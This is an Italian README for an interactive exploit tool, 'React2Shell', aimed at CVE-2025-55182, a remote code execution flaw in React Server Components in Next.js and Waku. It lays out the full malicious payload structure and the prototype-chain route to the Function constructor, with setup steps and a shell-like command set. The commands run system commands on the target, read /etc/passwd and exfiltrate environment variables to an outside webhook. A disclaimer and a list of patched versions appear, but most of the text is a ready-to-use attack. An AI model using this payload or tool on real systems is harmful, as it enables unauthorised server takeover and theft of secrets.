React2Shell - CVE-2025-55182 PoC Interattivo

Shell interattivo per sfruttare CVE-2025-55182, una vulnerabilità di Remote Code Execution nei React Server Components.

Disclaimer

Questo strumento è fornito esclusivamente per scopi EDUCATIVI e di TEST DI SICUREZZA AUTORIZZATI.

• Usalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta per il test
• L'accesso non autorizzato a sistemi informatici è illegale
• L'autore non è responsabile per l'uso improprio di questo strumento
• Questo è un proof-of-concept per la ricerca e la sensibilizzazione sulla sicurezza

Panoramica della Vulnerabilità

CVE-2025-55182 colpisce React Server Components (RSC) in:

• Next.js < 15.1.7, < 14.2.29, < 13.5.9
• Waku (varie versioni)

La vulnerabilità consente l'esecuzione di codice in remoto (RCE) tramite payload malevoli inviati alle Server Actions.

Come Funziona

1. Il protocollo RSC utilizza la sintassi $@x per riferirsi agli oggetti Chunk interni
2. JavaScript rimuove automaticamente il wrapping degli oggetti con metodi .then() (simili a Promise)
3. Creando un payload malevolo con proprietà _response, _formData e _prefix controllate
4. L'attaccante può raggiungere il costruttore Function tramite la traversata della catena dei prototipi
5. Questo consente l'esecuzione arbitraria di JavaScript sul server

$3:constructor:constructor → Function constructor → RCE

Installazione

git clone https://github.com/NathanJ60/react2shell-interactive.git
cd react2shell-interactive
npm install

Configurazione

Modifica exploit.js e aggiorna questi valori:

const TARGET_URL = 'http://localhost:3000/'          // Vulnerable Next.js server
const WEBHOOK_URL = 'https://webhook.site/YOUR-ID'   // Your webhook URL

Ottieni un webhook gratuito su: https://webhook.site

Utilizzo

node exploit.js

Comandi

Comando	Descrizione
!test	Testa se l'exploit funziona (invia conferma al webhook)
!env	Esfiltra le variabili d'ambiente (process.env)
!js <codice>	Esegui JavaScript personalizzato
!help	Mostra aiuto
!exit	Esci
<comando>	Esegui un comando shell (es. whoami, ls, cat /etc/passwd)

Esempio di Sessione

react2shell> !test
[+] Sent! Check webhook

react2shell> whoami
[+] Sent: whoami

react2shell> ls -la
[+] Sent: ls -la

react2shell> !env
[+] Sent! Check webhook for env vars

I risultati appaiono sul tuo webhook, non nel terminale.

Dettagli Tecnici

Struttura del Payload

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': '<JAVASCRIPT_CODE>//',
        '_formData': { 'get': '$3:constructor:constructor' },
        '_chunks': '$2:_response:_chunks'
    }
}

Flusso di Esecuzione

1. Il payload viene inviato come dati multipart form con l'header next-action
2. Il parser React Flight elabora i chunk
3. $@3 crea un riferimento Chunk
4. $3:constructor:constructor attraversa fino a Function
5. Il contenuto di _prefix viene passato a Function() ed eseguito

Note per Next.js 15+

• Utilizza moduli ESM, quindi require() non è disponibile
• Usa import() dinamico invece:

  import("child_process").then(cp => cp.execSync("whoami"))
  

Versioni Corrette

Aggiorna a queste versioni per correggere la vulnerabilità:

• Next.js >= 15.1.7
• Next.js >= 14.2.29
• Next.js >= 13.5.9

Riferimenti

• React2Shell Official Site
• Google Tsunami Scanner Plugin

Licenza

Licenza MIT - Solo a scopo educativo.

Autore

Ricerca sulla sicurezza PoC - Usa responsabilmente.